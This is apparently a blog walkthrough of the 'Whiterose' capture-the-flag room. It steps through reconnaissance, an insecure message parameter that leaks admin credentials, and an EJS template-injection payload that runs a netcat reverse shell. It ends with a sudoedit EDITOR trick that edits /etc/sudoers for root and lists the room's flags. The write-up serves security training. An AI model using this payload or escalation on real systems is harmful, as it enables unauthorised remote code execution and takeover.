Post

Walkthrough2

Always update your dependencies and your packages.

cover

Room Information

Room Name: Whiterose

Difficulty Level: Easy

Room type: Challenges(CTF)

cover

Reconnaissance

It is given that later we will need this: Olivia Cortez:olivi8

cover

Let’s run nmap and check what ports are open.

cover

I discovered 2 open ports: 22 and 80,. Since port 80 is open, let’s check the website.

cover

When visiting the web servers, we are redirected to cyprusbank.thm. So we will add this to our /etc/hosts and reload the page. Command: sudo nano /etc/hosts

cover

Then reload the page.

cover

When I reload the page it shows that the site is under maintenance.

So let’s check for any other hidden directories using dirsearch.

cover

There are no other hidden directories. Let’s enumerate subdomains using ffuf.

cover

cover

There are two subdomains (www and admin). Now let’s visit the website using those two subdomains. For that, I need to add in /etc/hosts.

cover

Now reload the website with a subdomain in it. With the subdomain www, it takes to the landing page.

cover

With the subdomain admin, it redirects us to a login page.

cover

Credentials for this login are obtained from the room description. Name: Olivia Cortez Password: olivi8

cover

Once logged in, I knew that the user only had limited access as he couldn’t see the phone number.

cover

But we can take a look at the message. There is the chat history.

cover

Url looks like this: http://admin.cyprusbank.thm/messages/?c=5 So let’s change the parameter value and read all other messages.

cover

When I changed the parameter value to 0, I got the admin credential.

  • Name: Gayle Bev
  • Password: p~]P@5!6;rs558:q

Now I will logout from the current user and then log in again using the above credential.

cover

cover

Wow, now I can see the phone number and also the setting. So it answers the first question.

What’s Tyrell Wellick’s phone number?

Ans: 842-029-5701

Now Let’s get to the User.

Gayle can change users’ passwords, but there wasn’t anything useful there.

cover

I fired up Burp Suite to intercept the request.

cover

Then I send it to the repeater.

cover

If we intercept a request and change it by omitting parameters such as the password, an error message appears.

cover

This tells us that ejs files are included. When i search for ejs ssti payloads, i got this;

cover

It is a blog post, from this article I got an payload;

cover

payload

&settings[view options][outputFunctionName]=x;process.mainModule.require(‘child_process’).execSync(‘busybox nc 127.0.0.1 1337 -e sh’);s

We need to append this after the password in the burp suite. Note that you need to change IP and port according to yours.

cover

In the terminal, we need to listen to that port.

cover

Once we receive the connection we need to run this command: python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

cover

Finally, boom…..we got the user flag.

Privilege Escalation

The next task is to get the root.txt flag. It isn’t as easy as I thought. I can’t get into root just with the command sudo su as I don’t not the password of the web.

cover

I need to check for sudo privileges. Command: sudo -l

cover

User web can run; (root) NOPASSWD: sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm.

Let’s do what user web is allowed to do. Select the editor by using the following command:

export EDITOR=”vim – /etc/sudoers”

Then next run this command: sudo sudoedit /etc/nginx/sites-available/admin.cyprusbank.thm Add the following line under user privilege specification and save.

web ALL=(ALL:ALL) NOPASSWD: ALL

Press i before typing the above command. You need press enter. Then press escape and then :wq enter again :wq enter. In this way we save it.

cover

After that, we can now run sudo su command and get into the root.

cover

Now I got thaveroot access. Finally, I also got the root.txt

Flag Captured

  • user.txt flag: THM{4lways_upd4te_uR_d3p3nd3nc!3s}

  • root.txt flag: THM{4nd_uR_p4ck4g3s}

This post is licensed under CC BY 4.0 by the author.

Trending Tags